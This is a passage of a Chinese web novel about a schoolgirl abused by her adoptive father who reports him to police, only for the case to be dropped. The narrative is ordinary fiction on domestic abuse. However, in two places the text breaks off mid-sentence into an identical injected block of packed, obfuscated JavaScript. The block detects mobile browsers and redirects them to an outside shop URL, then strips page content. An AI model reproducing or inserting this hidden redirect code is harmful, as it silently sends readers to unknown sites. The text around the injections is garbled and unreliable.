语气冲冲的,显然还在为昨天的事情生气。 宋泓难得理亏,也不反驳:“柳静仪在吗?” 一说到这,相璨更气了,她伸手推了宋泓一把: “你还有脸说?都是因为你们——你知不知道我求了柳静仪多久她才肯教我?我他妈激将法苦肉计全都用了个遍啊混蛋——” “?” 宋泓满头雾水,相璨见状,忽地泄了气,她撇撇嘴,难过道:“柳静仪请假了。” …… 宋泓转身就走。 相璨震惊,紧接着对他这种行为破口大骂。 嘈杂声里,宋泓头痛欲裂,他出门,走到知还池边坐下。 流水潺潺,宋泓忍痛望向远方:“柳静仪——你究竟是谁?” 9. 淤青 柳静仪这次在家里躺了三天。 三天后,她从床上爬起来,忍着身上的疼痛,强撑着去了学校。 早上八点,柳静仪卡点进了学校。 前两日天晴,校内的积雪融化大半,花坛草丛边只有零星一点白了,但今天又忽然阴天,气温骤降,那些化掉的雪水反而结成了透明的冰。 不慎踩上去摔一跤的话,没个三两天好不了。 柳静仪缓慢的路过花丛。 冰在特定角度反出来诡异的光,有那么一瞬间柳静仪想,如果现在不慎摔倒,哪怕只有一下,没准就会把小命摔没了。 荒谬的想法只在她脑袋里停了一瞬,再抬眼,梅山高大的身影在天璇楼前方执勤。 四目相对,画面和数天前重合。 江怀溪顺着梅山的目光悲催的转过头来,对上柳静仪那双平静的眼睛。 历史再度重演。 江怀溪又又又一次迟到了。 梅山的叹息如青烟一般飘起来: “怀溪啊,这是这周第三次迟到了,你让我说什么好啊?” 江怀溪在柳静仪的目光里欲哭无泪,梅山依旧毫不留情,他甚至有心调侃江怀溪: “这名字我都不用问你是哪几个字了。” 江怀溪臊眉耷眼:“主任您就别笑话我了…” 梅山也不为难他,在他低落的声音里挥挥手,放他走了。 以往江怀溪一定会第一时间逃离现场,可不知为何,这次却一步三回头,颇有些恋恋不舍的意味。 柳静仪踏上了天璇楼大厅,她停在梅山面前,低声道:“梅主任。” 梅山推了推无框眼镜,点头应了一下,又在寒风里,对着带口罩的柳静仪温声道:“病好了吗?” 背上仍是火辣辣的疼,明明不知道什么时候就会脱力倒下。沉疴难愈,可柳静仪却在这句话里点点头,轻描淡写的说: “已经见轻了,估计下午就好了。” 梅山对这个隔三岔五生病的小姑娘也苛责不起来,他叹口气,说: “静仪啊,要照顾好自己啊。” …… 柳静仪在梅山的关心里莫名感到一阵眼酸,她眨了眨眼睛,忍住情绪,抬起头,在梅山的注视里,郑重的说:“好。” 梅山也在这简短有力的回应里笑了笑,“去吧。” 柳静仪背着书包向楼上走。 身后的声音忽然又道:“对了——” 柳静仪转过头来。 梅山隔着距离,一丝不苟的提示她: “记得销假。” 天璇楼外,时钟滴答作响。 相璨眼也不眨地盯着腕上的手表,时针走到八的时候,她缓慢而又遗憾的闭上眼睛。 江怀溪又迟到了。 前两节课又要低气压了。 她脸上出现些绝望。 相璨虔诚地双手合十,为江怀溪默哀几秒钟。 上帝啊,愿这个世界上,再也没有卡点失败—— “砰一—” 后门被人猛的推开,再睁开眼,江怀溪风一样的冲来眼前。 相璨刚要走流程安慰他,却发现他脚步轻快。 再向上看,那脸上非但没有愁容,还很激动。 ? 相璨脑门上冒出来一个大大的问号。 江怀溪光速入座,兴奋的转过身来。 “柳……” “你今天卡点成功了?” 江怀溪的笑在脸上一僵,颇有些咬牙切齿的挤出一句:“你哪壶不开提哪壶是吧?” …… “那怎么还这么高兴?” 相璨满头雾水,又关切的看着他: “不会因为迟到,被打击的精神失常了吧?不要啊——你疯了谁和我一起……” “闭嘴啊!” 江怀溪打断相璨的哀嚎,说: “你怎么整天都不盼我一点好?” 相璨悻悻一笑:“那谁让你今天不对劲啊,都被抓到了,还这么高兴,我想不通啊。” 身后传来脚步声,江怀溪索性也不卖关子了,对着相璨开门见山:“柳静仪来了!” “哦——” 敷衍的话音落了一半,猛然升了一个调子,相璨反应过来,惊讶的说:“什么???!” 谁? 谁来了?? 江怀溪这个家伙,刚刚说出来了谁的名字? 同一时间,一双素白纤细的手在相璨震惊的表情里推开后门。 江怀溪早就预料到她会是这个反应,此刻见柳静仪现身,对着相璨身后,胸有成竹一般的扬扬头,相璨指着他威胁:“我告诉你江怀溪,你敢糊弄我你就——” 她边说边朝后转头,然后在未落下的尾音里,对上柳静仪的眼睛。 …… ——死定了。 柳静仪微微挑了挑眉,相璨却僵在了那里,没说话。 柳静仪请假了三天。 这三天,宋泓每天都会来找她,而相璨也每天都在想柳静仪什么时候能够回来,可当柳静仪真正站在相璨眼前的这一秒,相璨却发现,那些她想说给柳静仪的话,居然一句也说不出来。 四目相对,相璨忽然在柳静仪沉静的注视里撇撇嘴,有了几分委屈。 什么啊,柳静仪居然凭空消失三天。 柳静仪在相璨逐渐红了的眼眶里抿了抿唇,有了几分局促,有了几分无措。 她低眉解释道:“抱歉相璨,我前两天…生病了” 话在嘴边却生生拐了个弯,柳静仪忍住疼痛,对着她道歉: “答应要给你讲错题,却拖了这么久,真的不好意思。” 相璨原本的怨气比邪剑仙还重,可当听见柳静仪身体抱恙,那怨气一下就变成了着急: “什么??!” 她猛的站起来,抓住柳静仪的袖子: “那你好点了吗?” 袖子下的淤青隐约浮现,柳静仪不着痕迹地后退一步,说:“谢谢你的关心,已经好很多了。” “那就好那就好。” 相璨连声回答,松了一口气。 江怀溪对她颇有些恨铁不成钢的意味。 “你的卷子可以给我看吗?我现在来准备,今天找时间给你讲。” 她话还没说完,相璨光速拿出一个文件夹,递到她眼前。柳静仪在她的动作里哑然,相璨粲然一笑。 万事俱备,只欠东风。 这东风她等了三天,可算是等来了。 柳静仪确实很用心。 桌上放着相璨的试卷,她又找相璨要了平日的习题册来看相璨的情况。 知识掌握程度她了如指掌,然后就是见缝插针的为相璨查漏补缺,一个上午,她除了去厕所,就没离开过教室。 说来也是宋泓运气好,碰上了柳静仪唯一一次出门。 刚一从三楼拐下来,宋泓就看见了一个熟悉的背影,朝着厕所去,又很快折返回来。 走到门口时,宋泓拦在了她身前,低声叫她: “柳静仪——” 走廊的人注意到动静,纷纷朝这边看来。 眼前忽然出现了一堵墙。 柳静仪颤了颤眼皮,后退一步。 她抬眼看他,垂在身侧的手指微动。 宋泓刚要说话,却在小动作里看见了她手腕上的淤青,于是话风忽然一转,直白问道: “你手怎么了?” …… 柳静仪顺着他的目光向下,一眼看见了自己手腕上的淤青——青青紫紫的淤血交织,凑在洁白的皮肤下,露出诡谲的紫红——那是之前柳建明喝醉后打的。 柳静仪猛地拉下来袖子,在莫大的难堪里,绕开他往班里走。 宋泓下意识去拉她。 十几岁的少年心智单纯,宋泓家庭幸福,父母和睦,争吵都很少,更何况是大打出手呢? 是以他单纯的认为是自己前几天撞的,心下多了很多的愧疚。 相璨接水回来,正巧撞个正着,“哎哎哎——” 她一路小跑着上前,啪的一下打开宋泓的手: “干什么你?有话好好说,动手动脚的算怎么回事?” 开玩笑,相璨和柳静仪认识这么长时间都没拉上柳静仪的手呢,他宋泓也想都不要想。 宋泓无奈:“我不是——” 相璨挥挥手,打断他:“我管你是不是啊,宋泓,你小子最好老实一点,不要打什么小九九,不然我和你没完!” 相璨撂下这么一句话就往里走,宋泓被她这副嚣张跋扈的样子气的头疼,目睹全程的江怀溪看不过去了,上前来拍拍宋泓的肩膀以示安慰: “咱们从小一起长大,她大小姐脾气,你又不是不知道。” 宋泓神色复杂的看了他一眼,无奈的摇摇头,丢下一句:“真同情你以后的日子。” 转身走了。 江怀溪在他的背影里摇头笑笑,又看向班级里,站在柳静仪身边的相璨。 人来人往,她笑容璀璨,明媚华妍。 宋泓根本不懂,待在相璨身边的日子,都是活泼开朗,风和日丽的好日子。 柳静仪无意间抬眼,撞见了江怀溪的眼神。 她看了看相璨,又看看江怀溪,有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179081|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一瞬间的了然。 也就是回神的功夫,柳静仪握着笔侧过头去,对相璨说了些什么,相璨眼睛一亮,笑着朝门外看来,冲江怀溪招招手。 这样一个简单的动作,江怀溪却像是受到了一股神秘的感召一样,脚步不受控制的朝她走。 三个小时后,午休,他把笔往桌上一拍,恨不得抽死当时被美色迷惑的自己。 相璨在一旁握着笔,纳闷的看着柳静仪,语气懵懂:“我讲的不对吗?” 柳静仪摇摇头,说:“你讲的很对,只是这个解法会有些麻烦,计算量会很大。” “哦~~” 相璨拖了调子,明显的开心,江怀溪抑制住自己想要发狂的心情,对着柳静仪五体投地。 她教相璨,然后问相璨有没有学会,一但相璨点头,柳静仪就会叫相璨将给他听。 弯弯绕绕的思路,迂回曲折的过程却总能得到一个正确答案。 相璨是开心了,纯折磨他啊! 江怀溪双手拽着头发,仰天长啸道:“我求求你了,让柳静仪教你一个简单的解法吧——” 柳静仪也觉得这个方法有些麻烦,“那我来教你第二种吧?” 柳静仪都这样说了,江怀溪本以为痛苦会到此结束,哪知相璨却一口回绝,她对着柳静仪笑了笑,说:“不用了。” “……?” 江怀溪脑门上冒出来一个问号,柳静仪也停住,相璨在他们疑惑的眼神里笑笑,说:“答案是一样的,用什么方法又有什么区别呢?只不过是笨拙一点罢了,我愿意算。” 迂回曲折,笨拙的无可救药,那有怎么样呢? 题目解出来了,结果拿到了,是好的,不是吗? 江怀溪大受震撼,柳静仪却在这句话里放下笔,说:“你真的很聪明。” 相璨害羞,看向柳静仪的眼神都有几分闪躲,柳静仪合上卷子,递给她,说:“只要上课认真听讲,课下多复习,下次及格一定没有问题。” 相璨点点头,宋泓不知何时,站在了自习室门口。 柳静仪没了下文,江怀溪和相璨紧接着也发现了他。 相璨拍了拍江怀溪,他起身朝着宋泓走去,柳静仪对着相璨继续道:“我还有什么没讲清楚的地方吗?如果没有的话,就讲到这里吧。” 相璨紧紧的,握着笔,缓慢摇头:“没有了,你讲的很好,我都会了。” “和我没有关系,是你聪明。” 相璨垂下头,苦涩的笑了:“柳静仪,也就只有你会夸我聪明了。” “以后也会有很多人夸你的。” 相璨在柳静仪这话里忽地撇撇嘴,一阵难过,她忍住眼泪,低声道:“柳静仪……” 相璨始终记得柳静仪肯答应教她的前提,是从今往后不再打扰她。 当时满口应允,现在她却觉得很难。 她好像做不到再把柳静仪当成一个陌生人了。 “嗯?” 柳静仪抬眼,相璨红了眼睛,小心翼翼地问:“我以后有不会的题,还可以来问你吗?” 江怀溪和宋泓在前面低声聊天,窗外寒风呼啸,阳光冲破乌云洒进教室,桌上的草稿纸重叠数张,柳静仪在巨大的疼痛里,看着相璨,低声拒绝道: “…抱歉。” 明明是再平常不过的事情,可她却做不到。 相璨点点头,忍住眼泪问:“你讨厌我吗?” 柳静仪摇摇头,说:“并不,你为什么会这样想?” 相璨含泪看她,说:“可不是讨厌的话,那为什么连和我说话都不愿意?” 如果不是讨厌相璨的话,又为什么一而再再而三的拒绝她的靠近呢? 柳静仪在这句话里眨眨眼睛,背上的疼痛愈发清晰,她看着相璨晶莹的眼泪,生平第一次坦白道: “因为我,没有那么多的时间了。” 相璨不懂,她看向柳静仪的眼神里写满了疑问。 柳静仪无奈,却不肯多说。 相璨低下头去,捂住眼睛,无声流泪。 她哭的很厉害,眼泪如流水一般滔滔不绝,悄无声息地打湿整张纸巾。 柳静仪在她抖动的肩膀里,忽然特别的难过。 “真的不可以么?” 相璨不肯死心,红着眼睛抬头追问,柳静仪抿了抿唇,许久后,终于低声道: “等我解决完手里的事情,好吗?” “是什么事?我能帮你吗?很重要吗?”相璨接连问。 柳静仪点了点头,却只回答了最后一个。 她近乎强调的说: “特别,特别重要。” 10. 孤儿怨 柳静仪和相璨相继收拾东西,站在门口说话的宋泓和江怀溪见状走来。 相璨对于宋泓在大礼堂的冲撞依然耿耿于怀,哪怕现在她哭红了眼睛,也要抬起眼来,气势汹汹的对宋泓道:“你又来干嘛?” 宋泓的注意力紧紧放在柳静仪身上,闻言敷衍: “不是来找你的。” “我不是已经告诉过你少来打扰柳静仪吗?” 柳静仪眼皮微微一颤,宋泓没接话,江怀溪却坐在她身边,下意识拿纸给她擦泪,又细心的说: “或许宋泓是找柳静仪有事呢?” “……” “嗯?” 相璨抿了抿唇,又看了看垂下眼睛的柳静仪,江怀溪见事情成了,拿起来她的书,率先站起来:“好啦,给他们一点空间,如果你不放心的话,我们两个就在门外等,可以吗?” 相璨犹豫再三,终于在江怀溪温和的目光里点了点头。 她抱着书本,一步三回头,江怀溪在路过宋泓的时候拍了拍他的肩。 宋泓眨了眨眼,在脚步声在拉开柳静仪面前的椅子,落座。 …… 这一次,柳静仪没有躲他。 “柳静仪。” 阳光不偏不倚的照在了他的侧脸,宋泓对着面前的人低声道:“我是宋泓。” 柳静仪抬起眼,对上他恳切的视线。 那双澄澈的眼睛在阳光下像一汪静谧的湖,柳静仪在那里迷路,晃神失声。 四目相对,宋泓视线下移,他看向柳静仪的手,试图通过校服,见到她腕上的淤青。 他声音低低,满是愧疚:“…四天前,我无意冲撞你,更没想到会让你受伤——” 柳静仪在他灼热的视线里往下扯了扯袖子。 她试图用微不足道的动作来掩盖掉生命中的淤青带来的沉重钝痛。 又很快顿住。 “对你造成伤害,不是我的本意,真的对不起。” 袖子拉到一半,柳静仪在宋泓的话里罕见的红了眼。 没有谁比她更加清楚,刚刚只是她自尊心作祟下的自欺欺人。 却又在这样诚恳的话里有了铺天盖地的委屈。 眼前的人什么都没有做,只是无意冲撞就来沉重道歉,可家里的人肆无忌惮为所欲为,却担不了罪名。荒谬无力排山倒海的冲过来,几乎将她毁掉。 柳静仪忽然觉得倦了,又很想大笑。 她在温暖割裂的阳光里泪眼朦胧。 她受够了这种隔三岔五请假的日子。 她真的厌恶了这种生命里隔三岔五就会出现的淤青。 甚至于恨。 她这些不能言明的钝痛。 放在一侧的手越来越紧,宋泓见她情绪翻涌,也做好了接受一切的准备,可想象中的怒火却没有袭来,柳静仪只是眨了眨眼睛,压下去那些眼泪,低声说:“…知道了。” 她闭了闭眼睛,声音轻入尘埃: “知道了。” 宋泓在这个似是而非的回答里一愣,柳静仪囫囵拿起来书本,起身离开。被他放在心上的事情在柳静仪这里轻描淡写的翻了页,宋泓随着她转头。 那背影瘦弱却莫名决绝,宋泓没来由的叫住她: “柳静仪——” 那种似曾相识的预感诡谲又阴森的爬上了宋泓的后背。 柳静仪闭了闭眼睛,站在原地,侧耳聆听。 窗外风过,宋泓在心里万语千言,说出来却只有一句: “对不起。” 柳静仪在阳光下回头,眼里有泪痕,宋泓隔着距离重复:“对不起。” 她仔细而又认真的看着宋泓,似乎要努力的记住他的样子,好一会才转身离开。 瘦弱挺直的背影从三楼自习室穿过天桥,窗外的树呈现出来一种冬日特有的枯黄。 午后的透明连廊空荡静谧,教室里日影斜斜,短短一段路,仿若走了万水千山。 她的步伐依旧缓慢。 柳静仪带着所有的东西离开学校,她在冬日难得一见的阳光里,穿街过巷,走到镜湖旁。 过去尤婉心曾带她来这里放风筝,岁月静好。 现在流水解冻,积雪化冰,柳静仪站在湖边,平静的拿出来手机,按下去那个号码—— 宋泓最后的道歉萦绕在她的耳边。 对不起。 ——110 对不起。 看似轻飘飘的话,却成了压垮柳静仪的最后一根稻草。 柳静仪不想继续过这种绝望的日子了。 她厌倦了这种隔三岔五就会被拳脚相向的生活。 那就结束吧,尤婉心不愿意结束婚姻,那就由她来叫停这样的生活。 阳光刺眼,柳静仪神色平静,轻飘飘的点下那个通话键。 ——嘟嘟嘟—— 号码播出的霎那,手机即刻被定位,经纬相现,接线员很快接通电话: “你好,西琅市公安局,请问有什么可以帮到您?” “你好——” 柳静仪在镜湖旁,三言两语讲述完始末,接线员当机立断转接电话,就近派出所即刻出警。 可是不够。 柳静仪站在湖边看着流水缓缓,又按出当地妇联电话。 接线员是一个年纪很轻的女生,字里行间带着掩盖不住的朝气:“您好——” 柳静仪在她的话里闭上眼睛,努力的忍住颤抖,说: “我…需要帮助,我受到了长期虐待。” …… 柳建明在医院里回来后戒酒了两天,第三天终于忍不住破戒了。 头天晚上,他喝了个天昏地暗,回家倒头就睡,醒来已经晌午了。 尤婉心做好了饭端上桌,两人刚拿起来筷子,警笛就响彻在这个小巷,柳建明刚要准备看热闹,警察破门而入。 为首的警官名叫傅无双,气场凌厉,眼若刀锋,是去年刚从北城调任来的。 小警察打开执法记录仪,傅无双也不耽误时间,睨着眼前满身宿醉气的男人直白问: “你是柳建明?” 柳建明不明所以的点点头:“是。” “柳静仪的养父?” 这话一出,柳建明脸色就沉了下来,尤婉心当即站起来说,声音有些颤抖: “是,他是养父,我是养母——警官,我们的孩子怎么了?” 傅无双冷冷的看了柳建明一眼。 “我们接到报案,说你家暴虐待未成年人——柳建明——跟我们回一趟派出所吧。” …… 这不是柳建明第一次因为家暴到派出所,但这却是柳建明第一次因为家暴虐待未成年人而被问话。 还是虐待养女。 过程中镜湖派出所接到了妇联的电话,还接到了12345的电话。 傅无双的脸色越来越沉。柳建明一阵心慌。 这下好了,原本花言巧语就能糊弄过去的小案件,直接变成了各部门重点关注的对象。他气的冷笑。 他妈的,柳静仪这死丫头存心想要整死他。 对面的傅无双见他死不承认,猛地一拍桌子,厉声质问:“你敢说没虐待她?” “我真没有……” 傅无双冷笑一声,想起来刚刚。 柳静仪在她的问询里伸出手掀开衣袖,白皙的手臂上青紫交加,一片触目惊心。 在场的人几乎是倒抽一口冷气。 柳静仪的疤痕历历在目,傅无双气极: “你没虐待她那她背后为什么有各式各样的淤青?你没虐待她那她胳膊上为什么有那么多烟头烫出来的疤?医院的伤情鉴定都出来了,你现在告诉我你没虐待她?” 尤婉心在这话里颤抖,她抿住唇别过脸,不敢看傅无双。 柳建明语塞,但依旧狡辩,“傅警官,您这真是冤枉我——” 傅无双被他的无耻气笑了,她冷声反问: “事实摆在这里,你还敢说是我冤枉你?” 柳建明点点头,坦然道: “后背上的淤青是我们两口子吵架她非冲上来的,您说两人一起过日子,谁家没有摩擦?她就非死心眼的挡在我老婆身前——天地良心除此之外我从来都没主动打过她——” 傅无双说:“哦?她替你老婆挡的?” 柳建明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179082|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一副苦大仇深的样子:“是啊。” 傅无双冷笑:“那就意味着,平日里你不仅虐待柳静仪,也对尤婉心拳脚有加吧?” …… 柳建明算是体会到了什么叫搬起石头砸自己的脚。 “我……” 他难得红了脸,卡壳了。尤婉心在傅无双的话里一阵难堪,低下头去。 “你不用跟我狡辩,柳建明,你这样的人我见得多——” “笃笃——” 话音未落,调解室忽然有人敲门,副手推门进来,凑到傅无双耳边说: “傅队,有人找。” 傅无双说:“谁啊?这么没眼力见——没见忙着呢吗?” 副手一脸为难,但却没走。意识到来人不好打发,傅无双只得骂骂咧咧起身。临出门前,她那双眼睛紧盯着柳建明道: “你好好想想,坦白从宽抗拒从严,等我回来你要还是这个态度——哼” 傅无双啪的一声甩上门,鞋子踩的哒哒作响,她没好气的推开办公室的门,对眼前的不速之客说:“谁啊,打扰老娘办案——” 阳光斜斜地照进来,傅问坐在她的椅子上慢悠悠的转过身来,笑着调侃: “呦,傅队长,起这么大范呢?” 衣着端方,芝兰玉树。傅无双看着这个差了十岁的堂哥,一下就熄了火。 她叹了口气,半敛起来脾气上前,不客气地问:“你怎么来了?” 傅问笑笑,说:“好久没见了,过来看看你——看样子我来的,不是时候?” 傅无双在他上扬的语气里端起茶杯喝了口水,平复心情。她本就闷着一口气,现在傅问一问,她不吐不快: “有点吧,主要是今天新接了个案子——夫妻俩在孤儿院领养了个小孩,养了十年,挺好吧? 没想到今天那小孩报警,说这丈夫长期家暴虐待她,我本来还以为孩子夸大,结果找到人一看——嚯啊——那背上全是淤青,手臂上密密麻麻的都是烟头烫出来的疤——触目惊心啊!你说这是人能干出来的事?怎么下去手的?” 傅问在旁边也听的一阵揪心,跟着叹了口气,“这可真是…” “丧尽天良。” 傅问赞同似的点点头。他虽同情,却也不想多说,反而是话题一转:“但我听说,你不是这两天就要调回北城了?” 傅无双也猛地叹口气:“谁说不是呢!” 傅无双烦的就是这个。 这调令早不来晚不来,偏偏在她接到了柳静仪的案子时下来,最晚这个星期就要走。镜湖派出所鱼龙混杂,没少有那些旁门左道的,虽说她这一年整改不少,但谁能保证她离开后,这风气不会卷土重来,死灰复燃呢? 傅无双越想越担忧,一拍桌子道: “不行,我得抓紧时间。” 傅问点点头,傅无双毫不客气的转过头来问:“所以你来找我什么事?” 傅问笑:“没什么事,就是过两天我和你嫂子直接回美国了,我寻思咱们那么多年没见,来看看你过的好不好。” 傅无双直觉不对:“你傅问不是向来只看笑话么,什么时候这么好心了?” 傅问被她拆台,无奈摇头,笑着坦白道:“好吧,是你嫂子让我来慰问你。” 傅无双孤身前来西琅,离家千里,难免孤单。 因此杨晴千叮咛万嘱咐,要傅问无论多忙,都一定要来看她。 傅问对着另一张桌子上的饭菜扬扬头,说: “都是你爱吃的饭,知道你忙,一会吃的时候,记得放微波炉加热一下。” 傅无双眨了眨眼睛,呼出一口热气:“哎呀干嘛呀——” 她被这突如其来的温情搞得眼热,傅问站起来拍拍衣角,起身告辞: “好了,我就不耽误你了,快忙吧。” 傅无双也不和他客气,推门送客。 “记得替我和嫂子问好。” 恰逢副手拿了伤情鉴定,接了柳静仪回来,带着口罩的女孩迎面和傅问撞个正着。 两人擦肩而过,傅问下意识回头—— 那双眼睛。 那双和杨晴,一模一样的眼睛。 11. 花落去 傅无双办案向来是铁血手段,不然当初也不会在北城得罪了人,明升暗降到西琅来。 柳静仪平静控诉,尤婉心目光躲闪,不发一言,而柳建明始终胡搅蛮缠,企图把虐待定性成家务事。 傅无双见他如此嘴硬,直接大手一挥,拿着柳静仪的伤情鉴定,以故意伤人的名义对他进行长达7日的拘留。 直到被带走时柳建明还在嘴硬,甚至指着尤婉心说:“她能作证——她能作证我没有虐待柳静仪!!” 傅无双随着他的视线看向尤婉心,可女人却眼神躲闪,在傅无双的注视里,害怕地低下头去。柳建明呆住,随即目眦欲裂,过度挣扎,那表情似要生吞了她: “你——” “别动—不许动—老实点!!” 两个警察按住他,在他愤怒的喘气声中将他带离现场。这个过程中,柳静仪始终淡淡的盯着他,没有丁点情绪。 门被关上,可调查却没有结束。傅无双放下笔抬起头,在这个只有三个人在的房间里,忽地对着尤婉心说: “柳建明平日,也没少打你吧?” 见她目光闪躲,傅无双一阵见血道: “明明可以选择附和柳建明对我撒谎,早点息事宁人,可你却偏偏低下了头。平常人家闹到警察局里总会假装家庭和乐来粉饰太平,可你却演都不愿意演,尤婉心——” 尤婉心一阵战栗,却在傅无双的呼唤下着魔一般,看向她的眼睛。 傅无双一字一句道:“既然你也厌倦了过这样的生活,那为什么不离婚呢?” 柳静仪也朝她看去。 她也想知道尤婉心的回答。 明明柳建明对她呼来喝去,非打即骂,为什么她却执拗的呆在柳建明身边,死活不肯离开呢? …… 两个人眼里闪着同样的疑惑,尤婉心在这个尖锐的问题里,缓缓地闭上眼睛。 那意思很明显。 她拒绝回答。 傅无双料到了,她甚至笑了一下:“你不想说,我也没有办法,我不强求你。” 尤婉心含泪看向她,傅无双侧过身去看向柳静仪,眼前的一切忽然像是电影里的慢动作。凌厉的女警一字一句道:“现在,我要和柳静仪谈谈了。” 原本平静的女人在这句话里忽然就有了情绪波动,她对着傅无双疯狂摇头,却无济于事。副手出现,带着不容拒绝的礼貌,请尤婉心出门。 临出门前,她再三回望,那看过来的眼神,甚至是恳求。 “你很聪明。” 直至尤婉心的身影消失在视线范围之内,柳静仪才肯回头看向傅无双。 傅无双盯着她说:“没有直接来派出所报警,而是选择拨打110留下记录,是因为你知道指挥中心会强制录音,并且接警员记录后会形成警单,而这两者会直接存在上级的服务器上,删除需要很高的权限——” 柳静仪眨眨眼睛,无波无澜。 “不仅如此,你还打了街道办、妇联和12345的电话,在你能力范围之内,把这件事情直接上升成多部门的重点关注——柳静仪,你可以告诉我,你是怎么想到的吗?” 柳静仪没说话,傅无双眨了眨眼睛,沉了语气,换了个说辞:“或者说,是谁在背后教你这样做的。” …… 不知道为什么,这样严肃的氛围里,柳静仪居然觉出来一些好笑。 她在傅无双的审视里也真的笑了出来。 口罩下的唇角微弯,那双眼睛含笑,但也落寞有泪。 柳静仪就在这样悲喜交加的情绪里,看向傅无双说: “没有任何人教我,是我自己要这样做。” “是吗?” 傅无双依然不信,可柳静仪却忽然叫她: “傅警官——” “嗯?” “你从警多年,一定遇到过特别危急的案子,如果极端的话,甚至威胁到生命吧?您还记得那种情况下,自己的反应吗?” …… 求生。 傅无双在她的话里下意识想。 不顾一切的求生。 紧接着傅无双抬起头,抿唇看向柳静仪。 被绕进去了。 柳静仪淡淡的眨了眨眼睛,说: “我也是这样的,这次报警,就是我在不顾一切的求生。” 人在溺水的时候总想抓住些什么,浮木,舟船,或者是忽然横在水面上的树枝。而那些打出去的那些电话,就是她想要抓住的东西。 柳静仪不知道什么是有用的,但她赌不起,只能全试一遍,放手一搏。 功败垂成,赌赢了,就解脱。 “万一赌输了呢?” 傅无双适时问。 “赌输了,就死。” 傅无双被柳静仪平静的决绝震惊,“什么?” 柳静仪看向她,说: “柳建明被放出去,我难逃一死,但比起来被打死,我更想试着结束这样永无休止的生活。” 报警之前,柳静仪就已经做好了这个准备。 傅无双神色复杂的摇摇头,说: “不会的,你要相信我。” 柳静仪沉默。 傅无双却看不下去她的悲观,对着她说: “我向你保证,最坏的结果不会发生的,好吗?” 柳静仪明显的不信,傅无双想了想,低头在纸上写了一个号码,伸手推给她:“这是我的联系方式,有任何问题的话,随时给我打电话。” 柳静仪却没收她的号码,而是抬起眼来,轻声说:“比起来这个,我更想要别的。” 傅无双问:“什么?” 柳静仪眨了眨眼,说: “带我妈妈去验伤,镜湖派出所出具家庭暴力告诫书——让柳建明,不要再继续伤害她。” 傅无双在这话里恍惚了一下。 她看向柳静仪,忽然意识到,这是她又一次未雨绸缪,只不过这次,她选择保护的人不再是她自己,而是她的养母——尤婉心。 这一瞬间,傅无双觉得她有点看不透柳静仪。 明明尤婉心也为虎作伥,对她不好,可在这样的关头,柳静仪第一个想要保护的,却还是她。 傅无双雷厉风行的推开门,她呼出一口气朝办公室走去,可推门的那一瞬间,她忽然想起来尤婉心被带离前,回头看她的那个眼神。 那里面写满了欲言又止。 脚步一顿。 傅无双转身朝着尤婉心所在的方向走去。 案情陈述下,她企图在白纸黑字之外,探得一丝真情。 …… 柳建明被拘留的第一天,柳静仪和尤婉心回家,睡了一个好觉。 第二天,傅无双身着便衣,带人走访了学校和柳静仪家附近的小区,搜集证据。 第三天,傅无双又和柳静仪进行了一次单独谈话,这一次,她为柳静仪找来了辩护律师,打算一纸诉状将柳建明告上法庭。 意外在第四天横生。 北城发生恶性案件,系当年她经手过的连环作案,遂发来紧急调令要求傅无双回城。 傅无双别无他法,临行前再三嘱咐下属要打起十二分经历侦办柳静仪的案子,又紧急差人出具家庭暴力告诫书。 事情做到这样,傅无双依旧放心不下,亲自去了柳静仪的家里。彼时柳静仪没在,她看着紧闭的大门,无奈的叹了口气。 电话响个不停,傅无双没了办法,敲开隔壁姚桃的家门,托她转告柳静仪,有事给她打电话。 警车启动,副驾上的傅无双频频回头。 这时的她也不会想到,柳静仪的希望,和她一起远走高飞了。 新官上任三把火,人在任何时候都是审时度势的。 现在自然也不是例外。 傅无双性格直爽,在西琅没少得罪人,新接手柳静仪案件的警官就是其中之一。 巧合的是,他是柳建明之前的旧相识。 之前柳建明喝多了和旁人发生冲突,大都是他出面调解摆平的。 事情很快又出反转。 街道办接到了派出所的电话说事情已经解决,妇联和12345也收到了办案回执。 ‘尤婉心’忽然对柳建明表示谅解,就连律师都接到‘柳静仪’的短信,说要撤诉。 又三天后,柳建明大摇大摆地走出了镜湖派出所。 西琅不知何时下起来大雪,这案件被高高拿起,又被轻轻放下。 夜晚的小巷混乱失序,老板娘依旧带着市侩的笑容站在门口热情的招呼顾客。柳静仪见到推开家门的柳建明时,脸上是掩盖不住的震惊。 尤婉心从屋内出来,看清眼前的情形后手一抖,盛满热汤的碗直直的落在地上,四分五裂。 柳建明伸手阖上院子里的门,又转过身去,吧嗒一声上了锁。 大雪落在柳静仪的睫毛上。 寒风吹的人发颤。 柳建明笑着朝母女二人走来。 “静仪啊——婉心!咱们—好久不见呐。” 柳静仪在柳建明咬牙切齿的声音里,退到尤婉心身前,转过身去抱住她,绝望的闭上眼睛—— 一周后,傍晚。 窗外大雪,梅山伸手接过班主任递来的假条,挨个查看: 相璨吃雪糕闹了肚子请假出去打针。 连镶打篮球崴了脚,请假在家休养。 宋泓去医院复查,请假十天。 柳静仪—— 梅山拿着这张空空如也的假条抬起头来,问:“请假理由呢?” 班主任摇摇头,说:“没有理由,打电话也没人接,她之前也这样过,后来回校说生病——” 梅山直觉不对:“之前也这样过?什么时候的事?我怎么不知道?” 